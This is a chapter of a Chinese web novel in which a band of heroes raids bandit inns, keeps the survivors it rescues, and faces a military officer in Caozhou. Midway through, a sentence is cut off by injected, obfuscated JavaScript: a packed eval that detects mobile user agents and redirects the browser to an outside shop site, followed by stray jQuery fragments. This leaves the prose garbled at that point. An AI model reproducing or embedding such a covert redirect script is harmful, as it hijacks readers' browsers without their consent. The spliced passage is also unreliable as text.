20. 曹州

作品:《在水浒中做女帝

    众人将石槽下的残躯,并厨房、后院搜出的其他零散骸骨,在店后寻了处白日向阳、夜里有月的土坡,仔细掩埋,堆了个无名的坟冢。


    那几个贼人的尸首,则拖到远处野林深沟里一扔了事,自有野兽处理。


    当夜,众人取出自带的干粮腌菜,就着凉水用了饭,谁也没去碰店里的肉与酒。


    饭后,扈昭商量着几人轮值守夜,张望官道。遇有零星赶夜路想来投宿的,便由时迁或梁翼扮作凶恶店伙,斥骂驱赶,或干脆隐在暗处弄出些怪响,将人惊走。


    如此一连三日,众人便在这刚经历过血洗的野店中休整。


    扈昭亲力亲为,每日为那重伤的男子清创换药,灌下米汤药汁。


    那人大部分时间昏沉,偶尔醒转,眼神依旧涣散,问不出话来,但胸口那点微息,竟在精心照料与上好伤药的作用下,一日日稳了下来,高烧也渐退。


    这般顽强的生命力,让起初嫌麻烦的陈丽卿也无话可说,偶尔还会帮忙递个热水步巾。


    三日间,野店被从头到脚刮了数遍。砖缝、房梁、炕洞、甚至茅坑边都细细搜过,又起出些埋藏的金银首饰和散碎银两,并那几匹驮马牲口,皆捆扎妥当。


    另有一枚粗劣的令牌和记着暗码的账册,被扈昭贴身收好。


    第四日清晨,那重伤男子虽仍虚弱无法动弹,但眼神已能微微聚焦,喉咙里能发出点嗬嗬之声。


    扈昭知道不能再耽搁,命张三李四以厚褥垫了唯一的马车,将男子小心放上。


    一行人离了这腌臜之地,依着时迁的指路与账册上模糊的线索,朝下一个黑店行去。


    自此,便踏上了一条替天行道,并收刮不义之财的回家路。


    接下来情形各异:有的如最先那野店,极好发现,又好攻破;有的则是更隐蔽的山洞、河湾废屋,甚至是伪装成渔家或樵户的独门院落。


    法子也随机应变,再无定规。


    有时,仍是时迁独显身手。他或扮作问路的货郎,或装成偷鸡摸狗的毛贼失手被“擒”,总能找到机会,将袖中蒙汗药精准投入贼人饮食水源。待药性发作,便是一声夜猫子叫。


    有时,则需扈昭亲自出马。她或扮作投亲不遇、囊中羞涩的落魄书生,或与时迁搭档,一个唱红脸一个唱白脸,搅乱视线,趁机下药。她脑子快,心思又细,与梁上君子配合竟渐显默契。


    陈丽卿则是暗处的眼睛与利箭。她寻制高点,控扼要道。无论是射灭灯笼制造黑暗,还是精准点杀察觉不对欲逃或欲呼喊的岗哨,弓弦响处,从无落空。


    一道下来,大伙儿都知道了她那“女飞卫”之名名副其实。


    而最后破门清场、斩除顽抗、搜救活口的硬仗,多半留给鲁智深与王进。禅杖如雷霆扫荡,长枪似蛟龙出海,以碾压之势速战速决,绝不拖泥带水。


    张三李四经历了最初的不适,如今也能硬着头皮,跟着搬运财物、照料救出的人。


    每一处巢穴被捣毁,或有寥寥幸存者被加入队伍,或有新的令牌、账册被发现,拼凑着大宋黑暗势力的轮廓。


    便像一柄悄然刮过腐肉的薄刃,在官府视线不及的灰色地带,刮出一路清平之路。


    缴获的钱粮马匹渐渐多起来,队伍的负重也慢慢增加,但他们几人反而更加团结一心,关系更甚先前。


    如此一路慢行绕行下去,堪堪到曹州地界,名声已然如风传出。


    各路黑店势力开始争相告知,暂避风头。便连远在孟州道十字坡的孙二娘与菜园子张青也得知了消息。


    消息传到时,孙二娘正在后厨“料理食材”。听心腹伙计说完,她将手中剔骨尖刀“夺”一声钉在案板上,围裙也不解,叉腰便骂了起来:


    “直娘贼!哪里蹿出来一伙不开眼的过路野狗,敢这个时候出来‘替天行道’?”


    又是大骂曹州那些废料,平日里吹嘘得是铜墙铁壁,原来尽是些酒囊饭袋。又疑心是哪里新起的山头,不懂规矩,黑吃黑专挑软柿子捏,出来抢地盘、立威风。


    最后终是忌惮其手段诡谲,不守江湖规矩,有心联合各路“好汉”一起真枪实战斗他一斗,又恐是官府新养的恶犬,或是哪路想过河拆桥的大爷?


    骂了一阵,她眼中凶光闪烁,盘算已定,对几个得力伙计吩咐,让各处分店、暗桩都暂时收手,由明转暗:


    “这阵风头紧,都把招子放亮些!过往客人,只取财,莫害命。那些看着扎手、有跟脚的,暂且放过。铺面收拾干净些,别叫人揪住把柄……”


    还派了两个机灵人,去曹州打听这伙儿打家劫舍之人的底细身份。


    而扈昭几个,也终于暂且罢手,要在曹州府城中歇息几日,将浩荡的马匹牲口先处理掉,再安置那几个救下来的不幸路人。


    谁知梁翼却不愿进城。


    “怎么了?”扈昭寻了无人处问他,离这里越近,梁翼越是不情愿,显然心有抵触。


    梁翼无可奈何,又不想哄骗于她,只得道出真相:“我父上梁下横,正在此地任兵马都监一职,我不愿见他。”


    哦。


    扈昭理解了,父子矛盾,她不明真相,也不好说什么。但梁翼是个好人,可见那矛盾的起因是他爹的不是了。


    “那便不见他,我给你易容化妆,就是不妙碰着了,保管他认不出来怎样?”


    梁翼这才应下,默不作声任她在自己脸上描画。


    回去其他几人自是震惊其模样不提,陈丽卿也嚷着要扈昭给自己画画,扈昭只好再画。


    事到最后,几人都做了伪装。


    曹州城下,扈昭一行取出东京备好的齐整路引,扮作西北而来折了本、欲变卖剩余马匹返乡的行商。


    守门军吏验看文书印信俱全,又见车队中确有伤病之人,神情仓惶不似作伪,加之“管事”张三暗中递上的“茶钱”丰厚,略盘问几句便挥手放行。


    入得城来,不敢张扬。


    寻了处僻静客栈包下独院安顿洗漱。次日,时迁与张三李四往西城骡马市去,凭其三寸不烂之舌,将一路所得多余牲口分批售与不同客商,得来皆是硬通货的铜钱银两,悄然运回。


    至于那几名被救的苦命人,扈昭打算亲自送往曹州府衙侧近的“福田院”,略使银钱打点经办,恳请官府予以收容安置。


    她言辞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007951|194107||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    恳切,想得很好,但那些人却都不愿去那慈善机构,院里扑通跪倒一片。


    那断腿的汉子才刚苏醒了点活力,这时脸上又蒙上了一曾死气。他将头磕得砰砰作响,嗓音发颤:“恩人,去不得!那院里管吏比山贼还狠,进去先剥层皮,每日一碗清水粥,病了扔着等死……”


    旁边一个面色蜡黄的妇人也低泣道:“但凡进去的,没一个好过的,情愿跟了官人走,绝不拖累……”


    众人叩首不止,只求留下。残的弱的,都说愿喂马饮牛,只求条活路。壮的也说能使些力气,还能帮着“打家劫舍”。


    扈昭默然,她瞥见陈丽卿冷哼,鲁智深欲言又止,王进微微摇头,自己也明白这些人留下便是拖累。


    但看着那一张张惊惶未定的脸,终是叹了口气。


    “起来罢。”她一语定了乾坤,“既然都不愿去……那就跟着我走罢。”这些也算自己亲信不是?


    诸事渐毕,众人暗松口气,只待采买些物资便欲离城。


    这日,扈昭正于客栈堂中低声与王进商议路线,忽闻门外街上一阵马蹄声响,甚为齐整。


    旋即,一位身着青色官便服、腰悬直刀的中年武官踏入店中。


    武官径直走至扈昭身侧,抱拳一礼:“这位公子,还请借一步说话。”


    扈昭转身回礼,神色镇定:“大人有何见教?”


    武官目光锐利,将她打量一番:“若不想借一步说话,那便跟我往府衙大牢走一趟。”


    此言一出,柜台后的掌柜与堂中零星客人都屏住呼吸。


    扈昭心知来者不善,正要应付,梁翼却用湿布抹了脸站出来。


    他往前一步,挡在扈昭身前,声音有些干涩:“杨叔,是我。”


    杨叔单名一个峥字,乃梁翼父亲梁横麾下之都虞候。


    杨都虞候凌厉的目光在梁翼脸上一定,先是一怔,随即咬牙:“果然是你小子……你父亲前日便得了城门报信,说见着个形貌酷似之人。这几日,你们在城中变卖马匹、招摇过市,真当曹州是无人之境么?”


    梁翼嘴唇抿紧,没说话。


    见扈昭眼神询问,这才不甘不愿地开口,向同行几人道明此人身份职位。


    杨峥目下无尘,不看别人,只盯住梁翼道:“翼哥儿,你离开一年有余,如今也该回家了。有些事……你父亲有他的难处。但眼下,你带这些身份不明、手段狠厉的‘朋友’在曹州地界如此行事,早惊动了不少人。今日我奉命而来,已是看了旧日情分,未带大队兵丁……”


    他语含警告,这些人简直吃了熊心豹子胆,也当曹州是那种昏官镇守么?如此来去自如。


    王进一直沉默立在一旁,此刻却上前半步道:


    “杨都虞候,王某与梁翼相识虽短,但一路同行,知其为人义烈,作战勇猛,非苟且之辈。如今与我们一道,所为虽险,却问心无愧,剜的都是人间毒疮,吾等有何过错?”


    他话锋微顿,语气转冷:“倒是梁都监,坐镇一方,亲生儿子宁肯漂泊在外、刀头舔血也不愿归家……这曹州的太平,莫非是连自家血脉都容不下的太平?这样的家,不归也罢!”